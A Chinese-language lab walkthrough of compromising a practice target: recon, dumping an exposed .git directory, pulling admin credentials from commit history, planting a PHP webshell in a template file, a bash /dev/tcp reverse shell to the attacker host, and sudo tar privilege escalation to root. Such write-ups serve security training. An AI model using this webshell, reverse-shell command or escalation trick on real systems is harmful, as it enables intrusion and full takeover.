靶机实战1：.git 泄露到 RCE 提权全流程

目标信息

项目	内容
靶机 IP	10.10.1.49
漏洞类型	敏感信息泄露 + RCE + 权限提升
攻击机 IP	172.16.12.75

---

一、信息收集

1. 端口扫描

# 全端口扫描，跳过主机发现
nmap -Pn -p- 10.10.1.49
# Web 指纹识别
whatweb http://10.10.1.49

结果：

• 开放端口：22/tcp (SSH)、80/tcp (HTTP)
• Web 服务：Apache/2.4.58 (Ubuntu)
• 操作系统：Ubuntu Linux

2. 目录爆破

# 目录爆破，猜测 .php 后缀，过滤 403/404
dirsearch -u http://10.10.1.49 -e php -x 403,404

结果： 发现 .git 目录可访问。

---

二、.git 泄露利用

1. 确认泄露

# 读取 HEAD 文件，确认仓库分支引用
curl -s http://10.10.1.49/.git/HEAD
# 读取提交历史日志
curl -s http://10.10.1.49/.git/logs/HEAD

2. 拉取源码

# git-dumper 拉取完整 .git 仓库
git_dumper.py -j 10 http://10.10.1.49/.git ../dump_git
cd ../dump_git
# 列出文件
ls -la
# 查看提交历史摘要
git log --oneline
# 查看每次提交的完整 diff
git log -p

3. 提取凭证

从提交历史中获取管理员账号密码：

admin : P0rtal_Adm1n_2026!

---

三、漏洞利用

1. 登录后台

2. 模板写入 Webshell

进入模板设置，编辑 footer.php：

写入一句话木马：

<?php
  // 命令执行，通过 GET 参数 c 传入
  system($_GET['c']);
?>

测试命令执行：

# 访问 footer.php，通过 ?c=id 执行 id 命令
curl -s http://10.10.1.49/templates/footer.php?c=id

结果： 返回 uid=33(www-data)，确认 RCE。

3. 反弹 Shell

攻击机监听 4444 端口：

nc -lvnp 4444

靶机执行反弹：

# 通过 webshell 执行反弹命令，连接攻击机 4444 端口
curl -s -G http://10.10.1.49/templates/footer.php \
  --data-urlencode "c=bash -c 'bash -i >& /dev/tcp/172.16.12.75/4444 0>&1'"

拿到 shell：

升级交互式终端：

# Python 启动伪终端
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z 挂起后执行，恢复终端输入输出
stty raw -echo; fg

---

四、权限提升

1. 检查 sudo 权限

# 列出当前用户可 sudo 执行的命令
sudo -l

结果： tar 可无密码以 root 执行。

2. tar 提权

# 利用 tar 的 checkpoint 机制执行命令
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

验证：

id
# uid=0(root)

---

五、获取 Flag

# 搜索 flag 文件
find / -name 'flag*' -type f 2>/dev/null
# 读取 flag
cat /var/www/flag_user.txt

flag{yx_g1t_l34k_s0urc3_t0_w3bsh3ll}

---

攻击链

端口扫描 → 目录爆破 → .git 泄露
    → git-dumper 拉源码 → 获取管理员凭证
    → 登录后台 → 模板写入 webshell
    → 反弹 shell → sudo tar 提权
    → root flag

漏洞评级：严重

• 根源：.git 目录未做访问控制
• 影响：源码泄露 → 凭证泄露 → RCE → 提权至 root